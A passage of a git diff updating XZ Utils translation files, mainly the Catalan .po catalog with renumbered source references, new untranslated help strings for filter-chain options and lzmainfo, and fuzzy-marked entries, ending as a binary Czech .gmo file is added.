error en obtenir els indicadors d'estat del fitxer de l'entrada estàndard: %s" -#: src/xz/file_io.c:593 src/xz/file_io.c:655 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: és un enllaç simbòlic, s'omet" -#: src/xz/file_io.c:684 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: és un directori, s'omet" -#: src/xz/file_io.c:690 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: no és un fitxer normal, s'omet" -#: src/xz/file_io.c:707 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: el fitxer té el bit de setuid o setgid, s'omet" -#: src/xz/file_io.c:714 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: el fitxer té un bit enganxós, s'omet" -#: src/xz/file_io.c:721 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: el fitxer d'entrada té més d'un enllaç dur, s'omet" -#: src/xz/file_io.c:763 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Nom de fitxer buit, s'omet" -#: src/xz/file_io.c:817 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "S'ha produït un error en restaurar els indicadors d'estat a l'entrada estàndard: %s" -#: src/xz/file_io.c:865 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "S'ha produït un error en obtenir els indicadors d'estat del fitxer de la sortida estàndard: %s" -#: src/xz/file_io.c:1043 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "S'ha produït un error en restaurar l'indicador O_APPEND a la sortida estàndard: %s" -#: src/xz/file_io.c:1055 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: ha fallat el tancament del fitxer: %s" -#: src/xz/file_io.c:1091 src/xz/file_io.c:1354 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: ha fallat la cerca en intentar crear un fitxer dispers: %s" -#: src/xz/file_io.c:1192 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: error de lectura: %s" -#: src/xz/file_io.c:1222 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: error en cercar el fitxer: %s" -#: src/xz/file_io.c:1246 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: fi inesperat del fitxer" -#: src/xz/file_io.c:1305 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: error d'escriptura: %s" -#: src/xz/hardware.c:238 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "Desactivat" -#: src/xz/hardware.c:269 +#: src/xz/hardware.c:268 msgid "Amount of physical memory (RAM):" msgstr "Quantitat de memòria física (RAM):" -#: src/xz/hardware.c:270 +#: src/xz/hardware.c:269 msgid "Number of processor threads:" msgstr "Nombre de fils del processador:" -#: src/xz/hardware.c:271 +#: src/xz/hardware.c:270 msgid "Compression:" msgstr "Compressió:" -#: src/xz/hardware.c:272 +#: src/xz/hardware.c:271 msgid "Decompression:" msgstr "Descompressió:" -#: src/xz/hardware.c:273 +#: src/xz/hardware.c:272 msgid "Multi-threaded decompression:" msgstr "Descompressió multifil:" -#: src/xz/hardware.c:274 +#: src/xz/hardware.c:273 msgid "Default for -T0:" msgstr "Predeterminat per a -T0:" -#: src/xz/hardware.c:292 +#: src/xz/hardware.c:291 msgid "Hardware information:" msgstr "Informació del maquinari:" -#: src/xz/hardware.c:299 +#: src/xz/hardware.c:298 msgid "Memory usage limits:" msgstr "Límits d'ús de la memòria" -#: src/xz/list.c:68 +#: src/xz/list.c:67 msgid "Streams:" msgstr "Fluxos:" -#: src/xz/list.c:69 +#: src/xz/list.c:68 msgid "Blocks:" msgstr "Blocs:" -#: src/xz/list.c:70 +#: src/xz/list.c:69 msgid "Compressed size:" msgstr "Mida comprimida:" -#: src/xz/list.c:71 +#: src/xz/list.c:70 msgid "Uncompressed size:" msgstr "Mida no comprimida:" -#: src/xz/list.c:72 +#: src/xz/list.c:71 msgid "Ratio:" msgstr "Relació:" -#: src/xz/list.c:73 +#: src/xz/list.c:72 msgid "Check:" msgstr "Comprovació:" -#: src/xz/list.c:74 +#: src/xz/list.c:73 msgid "Stream Padding:" msgstr "Farciment del flux:" -#: src/xz/list.c:75 +#: src/xz/list.c:74 msgid "Memory needed:" msgstr "Memòria necessària:" -#: src/xz/list.c:76 +#: src/xz/list.c:75 msgid "Sizes in headers:" msgstr "Mides a les capçaleres:" -#: src/xz/list.c:79 +#: src/xz/list.c:78 msgid "Number of files:" msgstr "Nombre de fitxers:" -#: src/xz/list.c:122 +#: src/xz/list.c:121 msgid "Stream" msgstr "Flux" -#: src/xz/list.c:123 +#: src/xz/list.c:122 msgid "Block" msgstr "Bloc" -#: src/xz/list.c:124 +#: src/xz/list.c:123 msgid "Blocks" msgstr "Blocs" -#: src/xz/list.c:125 +#: src/xz/list.c:124 msgid "CompOffset" msgstr "CompOffset" -#: src/xz/list.c:126 +#: src/xz/list.c:125 msgid "UncompOffset" msgstr "UncompOffset" -#: src/xz/list.c:127 +#: src/xz/list.c:126 msgid "CompSize" msgstr "CompSize" -#: src/xz/list.c:128 +#: src/xz/list.c:127 msgid "UncompSize" msgstr "UncompSize" -#: src/xz/list.c:129 +#: src/xz/list.c:128 msgid "TotalSize" msgstr "TotalSize" -#: src/xz/list.c:130 +#: src/xz/list.c:129 msgid "Ratio" msgstr "Relació" -#: src/xz/list.c:131 +#: src/xz/list.c:130 msgid "Check" msgstr "Comprovació" -#: src/xz/list.c:132 +#: src/xz/list.c:131 msgid "CheckVal" msgstr "CheckVal" -#: src/xz/list.c:133 +#: src/xz/list.c:132 msgid "Padding" msgstr "Separació" -#: src/xz/list.c:134 +#: src/xz/list.c:133 msgid "Header" msgstr "Capçalera" -#: src/xz/list.c:135 +#: src/xz/list.c:134 msgid "Flags" msgstr "Senyals" -#: src/xz/list.c:136 +#: src/xz/list.c:135 msgid "MemUsage" msgstr "MemUsage" -#: src/xz/list.c:137 +#: src/xz/list.c:136 msgid "Filters" msgstr "Filtres" @@ -405,7 +461,7 @@ msgstr "Filtres" #. This string is used in tables. In older xz version this #. string was limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:169 +#: src/xz/list.c:168 msgid "None" msgstr "Cap" @@ -413,60 +469,60 @@ msgstr "Cap" #. but the Check ID is known (here 2). In older xz version these #. strings were limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:175 +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "NoConeix2" -#: src/xz/list.c:176 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "NoConeix3" -#: src/xz/list.c:178 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "NoConeix5" -#: src/xz/list.c:179 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "NoConeix6" -#: src/xz/list.c:180 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "NoConeix7" -#: src/xz/list.c:181 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "NoConeix8" -#: src/xz/list.c:182 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr "NoConeix9" -#: src/xz/list.c:184 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "NoConeix11" -#: src/xz/list.c:185 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "NoConeix12" -#: src/xz/list.c:186 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "NoConeix13" -#: src/xz/list.c:187 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "NoConeix14" -#: src/xz/list.c:188 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "NoConeix15" -#: src/xz/list.c:351 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s: El fitxer està buit" -#: src/xz/list.c:356 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s: Massa petit per a ser un fitxer .xz vàlid" @@ -475,41 +531,45 @@ msgstr "%s: Massa petit per a ser un fitxer .xz vàlid" #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:730 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr "Strms Blocs Comprimit NoComprimit Ràtio Check Nom de fitxer" -#: src/xz/list.c:1025 src/xz/list.c:1203 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "Sí" -#: src/xz/list.c:1025 src/xz/list.c:1203 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "No" -#: src/xz/list.c:1027 src/xz/list.c:1205 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr " Versió mínima de XZ Utils: %s\n" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1178 +#: src/xz/list.c:1188 #, c-format msgid "%s file\n" msgid_plural "%s files\n" msgstr[0] "%s fitxer\n" msgstr[1] "%s fitxers\n" -#: src/xz/list.c:1191 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "Totals:" -#: src/xz/list.c:1269 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "--list només funciona en fitxers .xz (--format=xz o --format=auto)" -#: src/xz/list.c:1275 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "--list no admet la lectura des de l'entrada estàndard" @@ -524,15 +584,16 @@ msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Final inesperat de l'entrada en llegir els noms de fitxer" #: src/xz/main.c:120 -#, c-format -msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +#, fuzzy, c-format +#| msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: s'ha trobat un caràcter nul en llegir els noms de fitxer; potser volíeu utilitzar «--files0» en lloc de «--files»?" -#: src/xz/main.c:188 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "La compressió i descompressió amb --robot encara no són admesos." -#: src/xz/main.c:266 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "No es poden llegir les dades de l'entrada estàndard en llegir els noms de fitxer de l'entrada estàndard" @@ -540,68 +601,69 @@ msgstr "No es poden llegir les dades de l'entrada estàndard en llegir els noms #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:788 src/xz/message.c:847 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Error intern (error)" -#: src/xz/message.c:795 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "No es poden establir els gestors de senyals" -#: src/xz/message.c:804 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Sense comprovació d'integritat; no es verifica la integritat del fitxer" -#: src/xz/message.c:807 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Tipus no admès de comprovació d'integritat; no es verifica la integritat del fitxer" -#: src/xz/message.c:814 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "S'ha arribat al límit d'ús de la memòria" -#: src/xz/message.c:817 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "No s'ha reconegut el format del fitxer" -#: src/xz/message.c:820 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Opcions no suportades" -#: src/xz/message.c:823 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Les dades comprimides estan malmeses" -#: src/xz/message.c:826 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Final inesperat de l'entrada" -#: src/xz/message.c:868 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "Es requereixen %s MiB de memòria. El limitador està desactivat." -#: src/xz/message.c:896 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "Es requereixen %s MiB de memòria. El límit és %s." -#: src/xz/message.c:915 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Cadena de filtratge: %s\n" -#: src/xz/message.c:926 -#, c-format -msgid "Try `%s --help' for more information." +#: src/xz/message.c:916 +#, fuzzy, c-format +#| msgid "Try `%s --help' for more information." +msgid "Try '%s --help' for more information." msgstr "Proveu «%s --help» per a més informació." -#: src/xz/message.c:952 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -612,17 +674,17 @@ msgstr "" "Comprimeix o descomprimeix FITXERS en format .xz.\n" "\n" -#: src/xz/message.c:959 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "" "Els arguments obligatoris per a opcions llargues també són obligatoris\n" "per a opcions curtes.\n" -#: src/xz/message.c:963 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Mode d'operació:\n" -#: src/xz/message.c:966 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -634,7 +696,7 @@ msgstr "" " -t, --test comprova la integritat del fitxer comprimit\n" " -l, --list informació sobre els fitxers .xz" -#: src/xz/message.c:972 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -642,7 +704,7 @@ msgstr "" "\n" " Modificadors de l'operació:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -654,7 +716,7 @@ msgstr "" " -c, --stdout escriu a la sortida estàndard i no suprimeixis els\n" " fitxers d'entrada" -#: src/xz/message.c:984 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -662,10 +724,18 @@ msgstr "" " --single-stream descomprimeix només el primer flux, i silenciosament\n" " ignora les possibles dades d'entrada restants" -#: src/xz/message.c:987 +#: src/xz/message.c:977 +#, fuzzy +#| msgid "" +#| " --no-sparse do not create sparse files when decompressing\n" +#| " -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +#| " --files[=FILE] read filenames to process from FILE; if FILE is\n" +#| " omitted, filenames are read from the standard input;\n" +#| " filenames must be terminated with the newline character\n" +#| " --files0[=FILE] like --files but use the null character as terminator" msgid "" " --no-sparse do not create sparse files when decompressing\n" -" -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" " --files[=FILE] read filenames to process from FILE; if FILE is\n" " omitted, filenames are read from the standard input;\n" " filenames must be terminated with the newline character\n" @@ -679,7 +749,7 @@ msgstr "" " caràcter de línia nova\n" " --files0[=FILE] com --files però usa el caràcter nul com a terminador" -#: src/xz/message.c:996 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -687,12 +757,18 @@ msgstr "" "\n" " Opcions bàsiques de format i compressió de fitxers:\n" -#: src/xz/message.c:998 +#: src/xz/message.c:988 +#, fuzzy +#| msgid "" +#| " -F, --format=FMT file format to encode or decode; possible values are\n" +#| " `auto' (default), `xz', `lzma', `lzip', and `raw'\n" +#| " -C, --check=CHECK integrity check type: `none' (use with caution),\n" +#| " `crc32', `crc64' (default), or `sha256'" msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" -" `auto' (default), `xz', `lzma', `lzip', and `raw'\n" -" -C, --check=CHECK integrity check type: `none' (use with caution),\n" -" `crc32', `crc64' (default), or `sha256'" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" msgstr "" " -F, --format=FMT fitxer de format per a codificar o descodificar; els\n" " valors possibles són «auto» (predeterminat), «xz»,\n" @@ -700,11 +776,11 @@ msgstr "" " -C, --check=CHECK el tipus de comprovació d'integritat: «none» (useu amb\n" " precaució), «crc32», «crc64» (predeterminat), o «sha256»" -#: src/xz/message.c:1003 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check no verifiquis la comprovació d'integritat en descomprimir" -#: src/xz/message.c:1007 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -713,7 +789,7 @@ msgstr "" " compte l'ús de memòria del compressor *i* del\n" " descompressor abans d'utilitzar 7-9!" -#: src/xz/message.c:1011 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -722,16 +798,20 @@ msgstr "" " de CPU no afecta els requisits de memòria del\n" " descompressor" -#: src/xz/message.c:1015 +#: src/xz/message.c:1005 +#, fuzzy +#| msgid "" +#| " -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" +#| " to use as many threads as there are processor cores" msgid "" -" -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" -" to use as many threads as there are processor cores" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" msgstr "" " -T, --threads=NUM usa com a màxim NUM fils; el valor predeterminat és 1;\n" " estableix a 0 per a utilitzar tants fils com nuclis té\n" " el processador" -#: src/xz/message.c:1020 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -742,17 +822,24 @@ msgstr "" " d'entrada; utilitzeu-ho per a establir la mida del bloc\n" " per a la compressió amb fils" -#: src/xz/message.c:1024 +#: src/xz/message.c:1014 +#, fuzzy +#| msgid "" +#| " --block-list=SIZES\n" +#| " start a new .xz block after the given comma-separated\n" +#| " intervals of uncompressed data" msgid "" -" --block-list=SIZES\n" +" --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" -" intervals of uncompressed data" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" msgstr "" " --block-list=MIDES\n" " inicia un bloc nou .xz després dels intervals de dades\n" " sense comprimir donats amb separació per comes" -#: src/xz/message.c:1028 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -764,7 +851,7 @@ msgstr "" " d'espera des de l'anterior fluix i llegir més entrades\n" " blocaria, totes les dades pendents es buiden" -#: src/xz/message.c:1034 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -783,7 +870,7 @@ msgstr "" " descompressió, descompressió amb fils, o tots ells; el\n" " LÍMIT és en bytes, % de RAM, o 0 per als predeterminats" -#: src/xz/message.c:1043 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -791,7 +878,7 @@ msgstr "" " --no-adjust si la configuració de compressió excedeix el límit d'ús\n" " de memòria, dona error en lloc de reduir la configuració" -#: src/xz/message.c:1049 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -800,7 +887,27 @@ msgstr "" " Cadena de filtre personalitzada per a la compressió (alternativa per a l'ús\n" " de predefinits):" -#: src/xz/message.c:1058 +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -832,7 +939,19 @@ msgstr "" " depth=NUM profunditat màxima de cerca; 0=automàtic\n" " (predeterminat)" -#: src/xz/message.c:1073 +#: src/xz/message.c:1082 +#, fuzzy +#| msgid "" +#| "\n" +#| " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +#| " --arm[=OPTS] ARM BCJ filter\n" +#| " --armthumb[=OPTS] ARM-Thumb BCJ filter\n" +#| " --arm64[=OPTS] ARM64 BCJ filter\n" +#| " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" +#| " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" +#| " --sparc[=OPTS] SPARC BCJ filter\n" +#| " Valid OPTS for all BCJ filters:\n" +#| " start=NUM start offset for conversions (default=0)" msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -842,6 +961,7 @@ msgid "" " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" " --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" " Valid OPTS for all BCJ filters:\n" " start=NUM start offset for conversions (default=0)" msgstr "" @@ -857,7 +977,7 @@ msgstr "" " start=Núm. decalatge d'inici per a les conversions\n" " (per defecte=0)" -#: src/xz/message.c:1086 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -869,7 +989,7 @@ msgstr "" " dist=Núm. entre bytes que es resten de\n" " l'altre (1-256; 1)" -#: src/xz/message.c:1094 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -877,7 +997,7 @@ msgstr "" "\n" " Altres opcions:\n" -#: src/xz/message.c:1097 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -887,17 +1007,17 @@ msgstr "" " -v, --verbose sigues detallat; especifiqueu dues vegades per a tenir\n" " encara més detall" -#: src/xz/message.c:1102 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn fes que els avisos no afectin l'estat de sortida" -#: src/xz/message.c:1104 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot usa missatges analitzables per la màquina\n" " (útil per a scripts)" -#: src/xz/message.c:1107 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -905,7 +1025,7 @@ msgstr "" " --info-memory mostra la quantitat total de RAM i els límits actualment\n" " actius d'ús de memòria, i surt" -#: src/xz/message.c:1110 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -913,7 +1033,7 @@ msgstr "" " -h, --help mostra l'ajuda curta (només mostra les opcions bàsiques)\n" " -H, --long-help mostra aquesta ajuda llarga i surt" -#: src/xz/message.c:1114 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -921,11 +1041,12 @@ msgstr "" " -h, --help mostra aquesta ajuda curta i surt\n" " -H, --long-help mostra l'ajuda llarga (llista també opcions avançades)" -#: src/xz/message.c:1119 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version mostra el número de versió i surt" -#: src/xz/message.c:1121 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -937,31 +1058,46 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1127 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "Informa d'errors a <%s> (en anglès o finès).\n" -#: src/xz/message.c:1129 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "Pàgina inicial de %s: <%s>\n" -#: src/xz/message.c:1133 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "AQUESTA ÉS UNA VERSIÓ DE DESENVOLUPAMENT NO DESTINADA A L'ÚS EN PRODUCCIÓ." -#: src/xz/options.c:86 -#, c-format -msgid "%s: Options must be `name=value' pairs separated with commas" +#: src/xz/message.c:1160 +msgid "" +"Filter chains are set using the --filters=FILTERS or\n" +"--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" +"can be separated by spaces or '--'. Alternatively a preset <0-9>[e] can be\n" +"specified instead of a filter chain.\n" +msgstr "" + +#: src/xz/message.c:1166 +#, fuzzy +#| msgid "Unsupported filter chain or filter options" +msgid "The supported filters and their options are:" +msgstr "Cadena de filtre no suportada o opcions de filtre" + +#: src/xz/options.c:85 +#, fuzzy, c-format +#| msgid "%s: Options must be `name=value' pairs separated with commas" +msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s: les opcions han de ser parelles «name=value» separades amb comes" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s: nom d'opció no vàlid" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s: el valor de l'opció no és vàlid" @@ -975,57 +1111,76 @@ msgstr "No s'admet el LZMA1/LZMA2 predefinit: %s" msgid "The sum of lc and lp must not exceed 4" msgstr "La suma de lc i lp no ha de superar 4" -#: src/xz/suffix.c:134 src/xz/suffix.c:265 -#, c-format -msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" -msgstr "%s: amb --format=raw, --suffix=.SUF és necessari si no s'escriu a la sortida estàndard" - #: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s: El nom de fitxer té un sufix desconegut, s'omet" #: src/xz/suffix.c:186 -#, c-format -msgid "%s: File already has `%s' suffix, skipping" +#, fuzzy, c-format +#| msgid "%s: File already has `%s' suffix, skipping" +msgid "%s: File already has '%s' suffix, skipping" msgstr "%s: El fitxer ja té el sufix «%s», s'ometrà" -#: src/xz/suffix.c:402 +#: src/xz/suffix.c:393 #, c-format msgid "%s: Invalid filename suffix" msgstr "%s: El sufix del nom de fitxer no és vàlid" -#: src/xz/util.c:71 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s: El valor no és un enter decimal no negatiu" -#: src/xz/util.c:113 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s: el sufix multiplicador no és vàlid" -#: src/xz/util.c:115 -msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +#: src/xz/util.c:150 +#, fuzzy +#| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." +msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "Els sufixos vàlids són `KiB' (2.10), `MiB' (2.20), i `GiB' (2.30)." -#: src/xz/util.c:132 -#, c-format -msgid "Value of the option `%s' must be in the range [%, %]" +#: src/xz/util.c:167 +#, fuzzy, c-format +#| msgid "Value of the option `%s' must be in the range [%, %]" +msgid "Value of the option '%s' must be in the range [%, %]" msgstr "El valor de l'opció «%s» ha d'estar a l'interval [%, %]" -#: src/xz/util.c:269 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "Les dades comprimides no es poden llegir des d'un terminal" -#: src/xz/util.c:282 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "Les dades comprimides no es poden escriure en un terminal" -#: src/common/tuklib_exit.c:40 +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s: Massa petit per a ser un fitxer .xz vàlid" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + +#: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "Ha fallat l'escriptura a la sortida estàndard" -#: src/common/tuklib_exit.c:43 +#: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Error desconegut" + +#~ msgid "Failed to enable the sandbox" +#~ msgstr "No s'ha pogut habilitar l'espai aïllat" diff --git a/po/cs.gmo b/po/cs.gmo new file mode 100644 index 00000000..edad4d17 Binary files /dev/null and b/po/cs.gmo differ diff --git a/po/cs.po b/po/cs.po index 7672d788..99145787 100644 --- a/po/cs.po +++ b/po/cs.po @@ -5,8 +5,8 @@ msgid "" msgstr "" "Project-Id-Version: 